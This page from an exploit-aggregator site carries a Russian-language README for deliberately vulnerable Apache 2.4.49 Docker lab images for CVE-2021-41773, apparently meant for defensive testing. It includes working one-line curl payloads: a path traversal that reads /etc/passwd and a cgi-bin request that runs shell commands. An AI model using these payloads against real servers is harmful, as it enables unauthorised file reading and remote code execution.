Sploitus

Exploit for CVE-2021-41773S

kitploit Β· 2026-08-27

Exploit Code

MARKDOWN45 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MIGHTYSAI1997-CVE-2021-41773S
# УязвимыС Docker-ΠΎΠ±Ρ€Π°Π·Ρ‹ для CVE-2021-41773 Apache path traversal

Π­Ρ‚Π° ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ _ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΠ° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ_ ΠΊ вСрсии 2.4.49 с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ нСстандартными конфигурациями. Π’ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ситуациях это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти Π»ΠΈΠ±ΠΎ ΠΊ Ρ‡Ρ‚Π΅Π½ΠΈΡŽ Ρ„Π°ΠΉΠ»ΠΎΠ², Π»ΠΈΠ±ΠΎ ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ ΠΊΠΎΠ΄Π°.

![tweet](https://assets.kitploit.com/production/public/readmes/29267/571f99fc8be81ecc146c96c36d6a55f9153253c83f3b5c31aa91c150bb4e3208.png) https://twitter.com/ptswarm/status/1445376079548624899

## ΠšΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡ, уязвимая для чтСния Ρ„Π°ΠΉΠ»ΠΎΠ²

ΠšΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΈΠ· Docker Hub с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ

`docker pull blueteamsteve/cve-2021-41773:no-cgid`

ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ

`docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid`

Π–ΡƒΡ€Π½Π°Π»Ρ‹ Apache ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π½ΠΈΠΆΠ΅, Π»ΠΈΠ±ΠΎ просто ΡƒΠ±Π΅Ρ€ΠΈΡ‚Π΅ "-dit" ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ запуска Π²Ρ‹ΡˆΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ stdout Π² ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅ `docker logs <container-id>`

### PoC для чтСния Ρ„Π°ΠΉΠ»ΠΎΠ²

`curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd`

## ΠšΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡ, уязвимая для RCE

ΠšΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΈΠ· Docker Hub с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ

`docker pull blueteamsteve/cve-2021-41773:with-cgid`

ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ

`docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid`

Π–ΡƒΡ€Π½Π°Π»Ρ‹ Apache ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π½ΠΈΠΆΠ΅, Π»ΠΈΠ±ΠΎ просто ΡƒΠ±Π΅Ρ€ΠΈΡ‚Π΅ "-dit" ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ запуска Π²Ρ‹ΡˆΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ stdout Π² ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅ `docker logs <container-id>`

### PoC для RCE

`curl 'localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'`

## Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ собствСнных Docker-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠ²

Π˜Π·ΠΌΠ΅Π½ΡΠΉΡ‚Π΅ ΠΈ собирайтС собствСнныС вСрсии, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ dockerfile ΠΈ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ Ρ„Π°ΠΉΠ»ΠΎΠ² httpd.conf Π² ΠΏΠΎΠ΄ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°Ρ…

  * Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ./no-cgi для ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ, уязвимой для чтСния Ρ„Π°ΠΉΠ»ΠΎΠ²
  * Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ./with-cgi для ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ, уязвимой для выполнСния ΠΊΠΎΠ΄Π°